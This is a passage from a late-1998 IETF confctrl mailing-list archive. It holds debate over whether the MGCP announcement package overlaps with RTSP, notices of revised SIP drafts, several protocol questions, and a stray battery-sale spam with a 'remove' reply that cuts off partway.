          with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) 
          id X3CVPYLZ; Mon, 30 Nov 1998 15:50:30 -0500
Message-ID: <36630517.30ADF8C0@americasm01.nt.com>
Date: Mon, 30 Nov 1998 15:50:31 -0500
From: "David Cromwell" <David.Cromwell.cromwell@nt.com>
Reply-To: "David Cromwell" <David.Cromwell.cromwell@nt.com>
Organization: Nortel
X-Mailer: Mozilla 4.06 [en] (X11; I; HP-UX B.10.20 9000/778)
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Henry Sinnreich <henry.sinnreich@mci.com>, navdec@BayNetworks.COM,
        confctrl <confctrl@ISI.EDU>
Subject: Re: draft-cromwell-navdec-mgcp-audio-pkg-00.txt
References: <000901be1aeb$052685c0$c3822ca6@sinnreich2.mcit.com> <3662D708.D388E064@americasm01.nt.com> <3662EA79.49219190@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,


> Cromwell, David (BNR:BNRTP:C863) wrote:
> >
> > RTSP supports client control of media stream(s) from a server.   Typically
> > RTSP would sit on top of a transport mechanism such as RTP.  Both RTSP and
> > RTP are fairly low level protocols which form part of an ubiquitous VOIP
> > network infrastructure.  RTSP provides minimal play and record operations.
>
> RTSP does not sit ontop of RTP. RTSP can control a media server which
> makes use of RTP to deliver content, but thats not the same thing.

I was thinking in terms of the hierarchical ISO 7 layer model, but maybe that's
not applicable here.  I can see how you could view RTP and RTSP as peer protocols.

> >
> > The ASP lives at a much higher level in the system.  It sits right below the
> > application and provides  an IVR toolkit for application programmers.   Its
> > contents are highly IVR specific.  It provides a standard sets of
> > announcements, multilanguage voice variables, special key definitions,
> > reprompting, etc., etc., all of which are useful for doing IVR.  There are
> > lots of places in a VOIP network where the Announcement Package would not be
> > appropriate.  In fact the only place where it would be appropriate is in the
> > control of an *Announcement* Server (I am carefully not saying *Media* Server
> > here).
>
> I'm not so sure that ASP is "higher" than RTSP; both protocols are
> application layer protocols in the sense that they run ontop of an IP
> transport protocol (TCP or UDP). Both provide services for applications
> (one IVR, one media control). Both, in fact, provide control services.
> What about them makes one "higher" and the other "lower"?

> Support for announcements, voice variables, and the like are not
> explicitly part of RTSP, true. However, these seem to be issues related
> to namespaces at the RTSP server, not fundamental protocol features. One
> could simply define a namespace (i.e., a standard set of filenames) for
> all of the variables, announcements, tones, and the such, that you'd
> like to play. RTSP is not specific to "movies" or "radio"; its a more
> generic tool for playing and recording audio or video. Announcements fit
> into this category so long as you can put a name on what you want to
> play.
>
> So, for example the URL:
>
> rtsp://announcementserver.com/asp/variables/money/dollar/1
>
> Could have the server speak the words "one dollar", while
>
> rtsp://announcementserver.com/asp/tones/pound
>
> Could cause the server to play the tone corresponding to the pound. RTSP
> can also be used to control the volume and duration of the tone.
> Supporting this requires no changes to RTSP, just an agreement on the
> namespace.

Defining this name space provides RTSP a way to reference audio, but nothing
else.  Are you seriously suggesting adding something like the ASP PlayCollect
operation to RTSP with support for definition of specific categories of
announcements such as Reprompt, NoDigitsRepromt, or Failure Announcement to be
used as necessary by the server as it attempts to collect a valid digit pattern
over a number of user attempts?   To get the full functionality of the ASP
PlayCollect operation you'd also have to add first, inter, and extra-digit timers,
the ability to define seven different types of control keys (Stop, Restart,
Reinput, StartInput, etc.) most of which would cause some local action to be
performed on the server, regular expression DTMF pattern specification, digit
buffer control, and the number of attempts.

Obviously you could do this, but would you really want to?

Like a lot of things things, IVR seems pretty simple at first glance (all you've
got to do is play some audio, collect come digits, and maybe record, right?), but
on closer examination it turns out to be a lot trickier than it first appeared. By
belief is that IVR is a highly specialized area, and it does not make sense to
incorporate this functionality into a protocol as generic as RTSP appears to be.

> > Additionally, RTSP is a symmetrical protocol where both client and server can
> > issue requests/commands.  In the protocol into which the the ASP is embedded,
> > flow of control goes only one way.  The call agent issues commands to a
> > server.  That's it.
>
> This is true, but doesn't seem to be an argument about why RTSP is not
> appropriate here; if anything, just the opposite, since it supports the
> client/server command/response architecture you need, and then some.

OK.  I admit that was a somewhat bogus point.

>
>
> > I don't think so.  The mismatch in levels is too great.  It would be like
> > adding a graphics package to TCP/IP.  Just to take a single for instance, I
> > can't see that support for a specific set of multilanguage voice variables
> > (date, time, money, duration, etc.) has any relevance to RTSP.  RTSP and ASP
> > are not mutually exclusive however.  I can envision ASP operations being
> > invoked by an application which filter down at some point to RTSP and RTP.
>
> Its not so clear to me that there is such a great mismatch. I agree RTSP
> does not currently do everything ASP is trying to do, but its perhaps
> not as far away as you indicate. My only point is that it perhaps
> deserves closer study.

You're right, adding ASP functions to RTSP isn't really as outlandish as adding a
graphics package to TCP/IP, but I think is involves more than just defining an
additional name space for RTSP, and  I still feel there is a mismatch.  In any
event maybe we should kick this idea around some more and see where it goes

>
>
> -Jonathan R.
>
> --
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX:   (732) 834-5379                       Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen

Regards,
David

--
cromwell@nortelnetworks.com
Nortel Networks  RTP, NC




From confctrl-owner  Mon Nov 30 12:57:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA01280
	for confctrl-outgoing; Mon, 30 Nov 1998 12:57:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA01275
	for <confctrl@zephyr.isi.edu>; Mon, 30 Nov 1998 12:57:38 -0800 (PST)
Received: from smtprtp (smtprtp.nortel.com [192.122.117.66])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA24843
	for <confctrl@ISI.EDU>; Mon, 30 Nov 1998 12:57:35 -0800 (PST)
Received: from zrtpd00m.us.nortel.com (actually zrtpd00m) by smtprtp;
          Mon, 30 Nov 1998 15:50:43 -0500
Received: from zrtpd00x.us.nortel.com by zrtpd00m.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) 
          id XTTX6Q3A; Mon, 30 Nov 1998 15:50:38 -0500
Received: from nrtphf4f.us.nortel.com by zrtpd00x.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) 
          id X3CVPYL6; Mon, 30 Nov 1998 15:50:38 -0500
Message-ID: <3663051E.6CA2B96C@americasm01.nt.com>
Date: Mon, 30 Nov 1998 15:50:38 -0500
From: "David Cromwell" <David.Cromwell.cromwell@nt.com>
Reply-To: "David Cromwell" <David.Cromwell.cromwell@nt.com>
Organization: Nortel
X-Mailer: Mozilla 4.06 [en] (X11; I; HP-UX B.10.20 9000/778)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Henry Sinnreich <henry.sinnreich@mci.com>, navdec@BayNetworks.COM,
        confctrl <confctrl@ISI.EDU>
Subject: Re: draft-cromwell-navdec-mgcp-audio-pkg-00.txt
References: <000901be1aeb$052685c0$c3822ca6@sinnreich2.mcit.com> <3662D708.D388E064@americasm01.nt.com> <3662E626.19B2B9F1@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

Henning Schulzrinne wrote:

> "Cromwell, David (BNR:BNRTP:C863)" wrote:
> >
> > Henry,
> >
>
> >
> > > The draft has a valuable summary of telephony announcements, but the core
> > > capabilities in <draft-cromwell-navdec-mgcp-audio-pkg-00.txt> are also
> > > available from an RTSP controlled media server.
> > >
> > > Is there a duplication of core functionality here, or am I missing
> > > something?
> >
> > RTSP supports client control of media stream(s) from a server.   Typically
> > RTSP would sit on top of a transport mechanism such as RTP.
>
> RTSP does not sit "on top" of RTP in any geometry sense that I can think
> of. RTSP can control RTP streams, but it can also control any other
> media stream delivered via ATM, POTS or anything else. Indeed, many of
> the PINT principles apply here. RTSP does have some RTP-specific things
> in it (Transport-Info).

Thanks for clearing that up.

>
>
> > The ASP lives at a much higher level in the system.  It sits right below the
> > application and provides  an IVR toolkit for application programmers.   Its
> > contents are highly IVR specific.
>
> I thought we were standardizing protocols, not APIs? Clearly, an IVR API
> would not have a 'RTSP_Play' API. But that doesn't preclude it from
> using RTSP underneath, if it can perform the necessary mappings.

To date, no one has gotten much beyond the "output this stream on this endpoint"
stage in defining how IVR should work.  I feel there is a lot to be gained from
defining a generic IVR functionality for Announcement Servers and  embedding it in
MGCP and perhaps other VOIP protocols.  I am not convinced it fits well with RTSP
although it may possibly map it to RTSP running as a lower layer.

>
> > Additionally, RTSP is a symmetrical protocol where both client and server can
> > issue requests/commands.  In the protocol into which the the ASP is embedded,
> > flow of control goes only one way.  The call agent issues commands to a
> > server.  That's it.
>
> This is a bogus argument. RTSP can be used symmetrically, but for many
> applications, it is a client-server protocol, with one client and one
> server. Clearly, as an announcement application, the flow of control
> would be one way, with the controller sending RTSP requests to the
> announcement server to play announcements.

You're right, that is a bogus argument.

Regards,
David

--
cromwell@nortelnetworks.com
Nortel Networks  RTP, NC




From confctrl-owner  Mon Nov 30 13:12:15 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA02148
	for confctrl-outgoing; Mon, 30 Nov 1998 13:12:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA02139
	for <confctrl@zephyr.isi.edu>; Mon, 30 Nov 1998 13:12:12 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA26824
	for <confctrl@isi.edu>; Mon, 30 Nov 1998 13:12:08 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Mon Nov 30 16:10:19 EST 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id QAA04993;
	Mon, 30 Nov 1998 16:10:18 -0500 (EST)
Message-ID: <366308FC.1B5EF820@dnrc.bell-labs.com>
Date: Mon, 30 Nov 1998 16:07:08 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: David Cromwell <David.Cromwell.cromwell@nt.com>
CC: Henry Sinnreich <henry.sinnreich@mci.com>, navdec@BayNetworks.COM,
        confctrl <confctrl@ISI.EDU>
Subject: Re: draft-cromwell-navdec-mgcp-audio-pkg-00.txt
References: <000901be1aeb$052685c0$c3822ca6@sinnreich2.mcit.com> <3662D708.D388E064@americasm01.nt.com> <3662EA79.49219190@dnrc.bell-labs.com> <36630517.30ADF8C0@americasm01.nt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

David Cromwell wrote:
> 
>
> I was thinking in terms of the hierarchical ISO 7 layer model, but maybe that's
> not applicable here.  I can see how you could view RTP and RTSP as peer protocols.

RTSP and ASP as peer, not RTP and RTSP.


> > Could cause the server to play the tone corresponding to the pound. RTSP
> > can also be used to control the volume and duration of the tone.
> > Supporting this requires no changes to RTSP, just an agreement on the
> > namespace.
> 
> Defining this name space provides RTSP a way to reference audio, but nothing
> else.  Are you seriously suggesting adding something like the ASP PlayCollect
> operation to RTSP with support for definition of specific categories of
> announcements such as Reprompt, NoDigitsRepromt, or Failure Announcement to be
> used as necessary by the server as it attempts to collect a valid digit pattern
> over a number of user attempts?   To get the full functionality of the ASP
> PlayCollect operation you'd also have to add first, inter, and extra-digit timers,
> the ability to define seven different types of control keys (Stop, Restart,
> Reinput, StartInput, etc.) most of which would cause some local action to be
> performed on the server, regular expression DTMF pattern specification, digit
> buffer control, and the number of attempts.

I agree with you that RTSP doesn't do it all, as I indicated in my
previous mail. I just don't think RTSP should be dismissed out of hand.
It clearly handles at least the tone and announcement playing aspects of
IVR; collecting DTMF is also possible with record. Whats missing are
some of the "compound" actions - such as play and then collect, as you
point out, and some others you mention. My point is that its not so
unreasonable for RTSP to be a starting point, and it merits
investigation to determine how many of the requirements it does meet,
and how many extensions are required to meet the rest. 


-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Dec  3 08:23:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA17784
	for confctrl-outgoing; Thu, 3 Dec 1998 08:23:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17772
	for <confctrl@zephyr.isi.edu>; Thu, 3 Dec 1998 08:23:17 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07231
	for <confctrl@isi.edu>; Thu, 3 Dec 1998 08:23:15 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA13162
	for <confctrl@isi.edu>; Thu, 3 Dec 1998 11:23:14 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA07953
	for <confctrl@isi.edu>; Thu, 3 Dec 1998 11:23:13 -0500 (EST)
Message-ID: <3666BAF1.D6A9CC8D@cs.columbia.edu>
Date: Thu, 03 Dec 1998 11:23:13 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Updated SIP spec (-11)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

You can find an updated version of the SIP spec at
http://www.cs.columbia.edu/~hgs/sip/drafts.html

The update reflects comments received during IESG deliberations. The
PostScript and PDF versions contain changebars; there's also an appendix
detailing the changes made in all versions. 

The somewhat more major items are:
- clarification of the DNS name resolution procedure (SRV);
- retransmission timer does exponential backoff;
- clarification and expansion of the SDP section to better cover the
different issues for unicast and multicast sessions;
- canonical header format for authenticated messages to ease proxy
operation;
- clarification of how to use basic and digest authentication with SIP
(new section).

Due to interaction between nroff and ASCII art, -9 and -10 had bits of
text (after section 1.4.5) reshuffled. This has been fixed, along with a
number of other formating and consistency problems.

With the possible exception of the timer issue, none of these changes
should affect existing implementations.
-- 
Henning Schulzrinne   schulzrinne@cs.columbia.edu
Dept. of Comp. Sci.   ph  +1 212 939-7042
Columbia University   fax +1 212 666-0140
New York, NY 10027    http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Dec  3 12:40:22 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA04008
	for confctrl-outgoing; Thu, 3 Dec 1998 12:40:22 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA04003
	for <confctrl@zephyr.isi.edu>; Thu, 3 Dec 1998 12:40:21 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA04002
	for <confctrl@isi.edu>; Thu, 3 Dec 1998 12:40:20 -0800 (PST)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Thu Dec  3 15:39:45 EST 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA25299
	for <confctrl@isi.edu>; Thu, 3 Dec 1998 15:39:45 -0500 (EST)
Message-ID: <3666F672.E6A6BB53@dnrc.bell-labs.com>
Date: Thu, 03 Dec 1998 15:37:06 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Updated SIP spec
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

There's been a fair amount of discussions between the authors and our
AD's concerning the use of SRV records in the SIP specification. In the
-11 version Henning mailed out, the use of them was normative. However,
since it seems like this will seriously hold us up, and in fact the
proposed SRV text may change, we have just changed this to MAY. You can
pick up a copy with this change at:

http://www.cs.columbia.edu/~jdrosen/sip/drafts/draft-ietf-mmusic-sip-11.ps
http://www.cs.columbia.edu/~jdrosen/sip/drafts/draft-ietf-mmusic-sip-11.txt

Sorry for the confusions,
-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Dec 10 08:12:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA22346
	for confctrl-outgoing; Thu, 10 Dec 1998 08:12:10 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA22339
	for <confctrl@zephyr.isi.edu>; Thu, 10 Dec 1998 08:12:08 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA28934
	for <confctrl@isi.edu>; Thu, 10 Dec 1998 08:12:06 -0800 (PST)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Thu Dec 10 11:11:23 EST 1998
Received: from research.research.bell-labs.com ([135.104.1.3]) by research; Thu Dec 10 10:36:19 EST 1998
Received: from research.research.bell-labs.com ([135.104.1.3]) by research; Thu Dec 10 10:33:25 EST 1998
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by research; Thu Dec 10 10:32:59 EST 1998
Received: from dnrc.bell-labs.com (dhcp9147.cs.bell-labs.com [135.104.9.147])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA06068
	for <confctrl@isi.edu>; Thu, 10 Dec 1998 10:32:57 -0500 (EST)
Message-ID: <366FE955.D646DB37@dnrc.bell-labs.com>
Date: Thu, 10 Dec 1998 10:31:33 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Comments on paper
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning and I are preparing an extended editorial for an upcoming issue
of Internet Computing magazine on IP Telephony. The article overviews
the IETF protocols related to IP Telephony, and how they relate to each
other. As an editorial, there is no peer review, but we thought we'd
invite general comments from the experts here. You can find a draft at:

http://www.cs.columbia.edu/~hgs/papers/Schu99xx_IETF.ps

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Dec 14 14:22:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA27335
	for confctrl-outgoing; Mon, 14 Dec 1998 14:22:45 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA27330
	for <confctrl@zephyr.isi.edu>; Mon, 14 Dec 1998 14:22:44 -0800 (PST)
Received: from risc.ats.com ([204.192.124.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA14301
	for <confctrl@ISI.EDU>; Mon, 14 Dec 1998 14:22:42 -0800 (PST)
Received: from bala.ats.com by risc.ats.com (AIX 3.2/UCB 5.64/4.03)
          id AA16882; Mon, 14 Dec 1998 17:24:00 -0500
Message-Id: <3.0.32.19981214172101.0070623c@pluto>
X-Sender: bala@pluto
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 14 Dec 1998 17:21:02 -0800
To: confctrl <confctrl@ISI.EDU>
From: Balaguru Nallathambi <bala@ats.com>
Subject: RTSP1.0
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
	I am looking for a reference implementation of RTSP1.0

	I tried to download a version available at the real networks website.
The GNU licencsed stuff is an implementation of RTSP0.4
	I tried to read the draft and tried to make it work like RTSP1.0
	
	I was testing some of the methods I implemented with the Real-Networks
G2 Server. They claim they their server implements RTSP.
But when using a DESCRIBE method, the server fails and sends an error message.

	What version of RTSP does the REal-Networks G2 server implement.
Does the Real-Network G2 server work only with Real-audio player or with
any RTSP
client.

	I thought RTSP was more like HTTP and so should not have any problems
running with any client or server that supports the protocol.
	

Any help on this would be appreciated.

Thanks in advance,
-)Bala.

From confctrl-owner  Tue Dec 15 10:33:40 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA11888
	for confctrl-outgoing; Tue, 15 Dec 1998 10:33:40 -0800 (PST)
Received: from send201.yahoomail.com (send201.yahoomail.com [205.180.60.131])
	by zephyr.isi.edu (8.8.7/8.8.6) with SMTP id KAA11882
	for <confctrl@zephyr.isi.edu>; Tue, 15 Dec 1998 10:33:39 -0800 (PST)
Message-ID: <19981215181441.19174.rocketmail@send201.yahoomail.com>
Received: from [206.170.68.31] by send201.yahoomail.com; Tue, 15 Dec 1998 10:14:41 PST
Date: Tue, 15 Dec 1998 10:14:41 -0800 (PST)
From: Thien Nguyen <thienpnguyen@yahoo.com>
Subject: SIP: Proxy and Isomorphic requests those comes from the different hosts
To: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Authors of SIP,

What does the proxy do when it receives isomorphic requests that comes
from different hosts.

For example: Client sends the INVITE request to forking proxy A. After
that, A forks the request to two proxies : B1 and B2. Two proxies (B1,
B2) forward the request to proxy C. How does the proxy C process in
this case?

                     |----> B1  -----
                     |               |   Assume B1 comes first.
Client -----> A -----|               |---->  C
                     |                       ^
                     |                       |
                     |----> B2 --------------|
                    

Thanks                     

Thien Nguyen
Email: thienpnguyen@yahoo.com

_________________________________________________________
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com


From confctrl-owner  Wed Dec 16 08:23:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA05633
	for confctrl-outgoing; Wed, 16 Dec 1998 08:23:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05628
	for <confctrl@zephyr.isi.edu>; Wed, 16 Dec 1998 08:23:02 -0800 (PST)
Received: from l3mail02.l3.com (l3mail02.l3.com [209.119.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03070
	for <confctrl@isi.edu>; Wed, 16 Dec 1998 08:23:01 -0800 (PST)
Received: from zimmerer-eric.l3.com (ZIMMERER-ERIC [10.5.4.101]) by l3mail02.l3.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9)
	id Y06QNFSY; Wed, 16 Dec 1998 09:22:29 -0700
Date: Wed, 16 Dec 1998 09:29:23 -0700
From: Eric Zimmerer <eric.zimmerer@L3.com>
To: confctrl@ISI.EDU
Subject: Inter MGC Protocol: SIP+
Message-Id: <3677DFE32F8.7CEEERIC.ZIMMERER@L3mail02.l3.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: Becky! ver 1.24
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

All,

ftp://207.88.16.83/pub/sigtran/sip+.zip is a draft copy of the protocol
Level 3 is considering for communication between Media Gateway
Controllers.  Since it uses SIP as its base, this group may be
interested in it. 

Comments are welcome.

Thanks,

Eric Zimmerer
Level 3 Communications, Inc.
1450 Infinite Drive
Louisville, CO 80027
Phone: 303-926-3142



From confctrl-owner  Thu Dec 17 11:54:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA03340
	for confctrl-outgoing; Thu, 17 Dec 1998 11:54:24 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA03333
	for <confctrl@zephyr.isi.edu>; Thu, 17 Dec 1998 11:54:22 -0800 (PST)
Received: from smtp.mailhome.net (pool028-max1.ds16-ca-us.dialup.earthlink.net [209.179.5.28])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id LAA18807
	for <confctrl@isi.edu>; Thu, 17 Dec 1998 11:54:19 -0800 (PST)
From: cellular@webcre8tive.com
Message-Id: <199812171954.LAA18807@venera.isi.edu>
To: <confctrl@ISI.EDU>
Subject: Cellphone Batteries @ Half Price!
Date: Thu, 17 Dec 1998 08:20:49
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Cellphone Owners and Mobile Professionals,

SAVE BIG! – BUY DIRECT! - Get your Cellphone Batteries
quick and easy online at CELLPHONE BATTERY WAREHOUSE
Highest Quality, Lowest Prices, Giant Selection – Guaranteed!
Click-on and Bookmark this site - 
http://members.tripod.com/~cellbattery



**********************************************************
We believe in responsible targeted mailing.  
Your name was given to us as somebody who might be interested 
in this offer. 
This  message is sent in compliance of the new e-mail bill: 
SECTION 301.
Sender: CELLPHONE BATTERY WAREHOUSE, 7810 Topanga cyn Blvd, 
Canoga Park, 
Ca 91304 ph: 818 207-9600 E-Mail Address: 
cellular@webcre8tive.com 
Per Section 301, Paragraph (a)(2)(C) of S.1618, further 
transmissions 
to you by the sender of this email may be stopped at no cost to 
you by 
ending a reply to this email address with the word "remove" in 
the 
subject line.  For additional information see: 
<http://www.senate.gov/~murkowski/commercialemail/EMailAmendText.
html> 
**********************************************************
 
 
 
 
 
 

From confctrl-owner  Fri Dec 18 08:58:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA20308
	for confctrl-outgoing; Fri, 18 Dec 1998 08:58:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA20303
	for <confctrl@zephyr.isi.edu>; Fri, 18 Dec 1998 08:58:28 -0800 (PST)
Received: from mh2.cts.com (mh2.cts.com [209.68.192.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA08845
	for <confctrl@ISI.EDU>; Fri, 18 Dec 1998 08:58:27 -0800 (PST)
Received: from king.cts.com (root@king.cts.com [198.68.168.21]) by mh2.cts.com (8.8.7/8.8.5) with ESMTP id IAA17156; Fri, 18 Dec 1998 08:58:27 -0800 (PST)
Received: from crash.cts.com (root@crash.cts.com [192.188.72.17])
	by king.cts.com (8.8.7/8.8.7) with SMTP id IAA14933;
	Fri, 18 Dec 1998 08:58:27 -0800 (PST)
Received: from nt by crash.cts.com with smtp
	(Smail3.1.29.1 #5) id m0zr3EF-00014JC; Fri, 18 Dec 98 08:58 PST
Message-Id: <3.0.5.32.19981218075124.007e1c10@cts.com>
X-Sender: miked@cts.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Fri, 18 Dec 1998 07:51:24 -0800
To: cellular@webcre8tive.com, <confctrl@ISI.EDU>
From: "Michael A. Dolan" <miked@tbt.com>
Subject: remove
In-Reply-To: <199812171954.LAA18807@venera.isi.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA20304
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 08:20 AM 12/17/98, cellular@webcre8tive.com wrote:
>
>Cellphone Owners and Mobile Professionals,
>
>SAVE BIG! – BUY DIRECT! - Get your Cellphone Batteries
>quick and easy online at CELLPHONE BATTERY WAREHOUSE
>Highest Quality, Lowest Prices, Giant Selection – Guaranteed!
>Click-on and Bookmark this site - 
>http://members.tripod.com/~cellbattery
>
>
>
>**********************************************************
>We believe in responsible targeted mailing.  
>Your name was given to us as somebody who might be interested 
